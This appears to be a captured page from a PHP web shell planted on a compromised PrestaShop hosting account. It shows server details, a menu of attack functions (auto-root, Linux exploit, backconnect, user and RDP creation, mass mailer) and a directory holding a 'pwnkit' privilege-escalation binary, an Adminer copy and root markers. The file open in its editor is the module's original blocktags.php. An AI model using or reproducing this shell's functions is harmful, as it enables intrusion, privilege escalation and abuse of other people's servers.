Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.50
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
modules /
blocktags /
[ HOME SHELL ]
Name
Size
Permission
Action
translations
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
blocktags.css
447
B
-rw----r--
blocktags.php
5.32
KB
-rw----r--
blocktags.tpl
1.61
KB
-rw----r--
config.xml
452
B
-rw----r--
index.php
1.26
KB
-rw----r--
logo.gif
731
B
-rw----r--
logo.png
2.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : blocktags.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) * International Registered Trademark & Property of PrestaShop SA */ if (!defined('_PS_VERSION_')) exit; define('BLOCKTAGS_MAX_LEVEL', 3); class BlockTags extends Module { function __construct() { $this->name = 'blocktags'; $this->tab = 'front_office_features'; $this->version = '1.2'; $this->author = 'PrestaShop'; $this->need_instance = 0; $this->bootstrap = true; parent::__construct(); $this->displayName = $this->l('Tags block'); $this->description = $this->l('Adds a block containing your product tags.'); $this->ps_versions_compliancy = array('min' => '1.6', 'max' => _PS_VERSION_); } function install() { $success = (parent::install() && $this->registerHook('header') && Configuration::updateValue('BLOCKTAGS_NBR', 10)); if ($success) { // Hook the module either on the left or right column $theme = new Theme(Context::getContext()->shop->id_theme); if ((!$theme->default_left_column || !$this->registerHook('leftColumn')) && (!$theme->default_right_column || !$this->registerHook('rightColumn'))) { // If there are no colums implemented by the template, throw an error and uninstall the module $this->_errors[] = $this->l('This module need to be hooked in a column and your theme does not implement one'); parent::uninstall(); return false; } } return $success; } public function getContent() { $output = ''; if (Tools::isSubmit('submitBlockTags')) { if (!($tagsNbr = Tools::getValue('BLOCKTAGS_NBR')) || empty($tagsNbr)) $output .= $this->displayError($this->l('Please complete the "Displayed tags" field.')); elseif ((int)($tagsNbr) == 0) $output .= $this->displayError($this->l('Invalid number.')); else { Configuration::updateValue('BLOCKTAGS_NBR', (int)$tagsNbr); $output .= $this->displayConfirmation($this->l('Settings updated')); } } return $output.$this->renderForm(); } /** * Returns module content for left column * * @param array $params Parameters * @return string Content * */ function hookLeftColumn($params) { $tags = Tag::getMainTags((int)($params['cookie']->id_lang), (int)(Configuration::get('BLOCKTAGS_NBR'))); $max = -1; $min = -1; foreach ($tags as $tag) { if ($tag['times'] > $max) $max = $tag['times']; if ($tag['times'] < $min || $min == -1) $min = $tag['times']; } if ($min == $max) $coef = $max; else { $coef = (BLOCKTAGS_MAX_LEVEL - 1) / ($max - $min); } if (!sizeof($tags)) return false; foreach ($tags AS &$tag) $tag['class'] = 'tag_level'.(int)(($tag['times'] - $min) * $coef + 1); $this->smarty->assign('tags', $tags); return $this->display(__FILE__, 'blocktags.tpl'); } function hookRightColumn($params) { return $this->hookLeftColumn($params); } function hookHeader($params) { $this->context->controller->addCSS(($this->_path).'blocktags.css', 'all'); } public function renderForm() { $fields_form = array( 'form' => array( 'legend' => array( 'title' => $this->l('Settings'), 'icon' => 'icon-cogs' ), 'input' => array( array( 'type' => 'text', 'label' => $this->l('Displayed tags'), 'name' => 'BLOCKTAGS_NBR', 'class' => 'fixed-width-xs', 'desc' => $this->l('Set the number of tags you would like to see displayed in this block.') ), ), 'submit' => array( 'title' => $this->l('Save'), ) ), ); $helper = new HelperForm(); $helper->show_toolbar = false; $helper->table = $this->table; $lang = new Language((int)Configuration::get('PS_LANG_DEFAULT')); $helper->default_form_language = $lang->id; $helper->allow_employee_form_lang = Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') ? Configuration::get('PS_BO_ALLOW_EMPLOYEE_FORM_LANG') : 0; $helper->identifier = $this->identifier; $helper->submit_action = 'submitBlockTags'; $helper->currentIndex = $this->context->link->getAdminLink('AdminModules', false).'&configure='.$this->name.'&tab_module='.$this->tab.'&module_name='.$this->name; $helper->token = Tools::getAdminTokenLite('AdminModules'); $helper->tpl_vars = array( 'fields_value' => $this->getConfigFieldsValues(), 'languages' => $this->context->controller->getLanguages(), 'id_language' => $this->context->language->id ); return $helper->generateForm(array($fields_form)); } public function getConfigFieldsValues() { return array( 'BLOCKTAGS_NBR' => Tools::getValue('BLOCKTAGS_NBR', Configuration::get('BLOCKTAGS_NBR')), ); } }
Close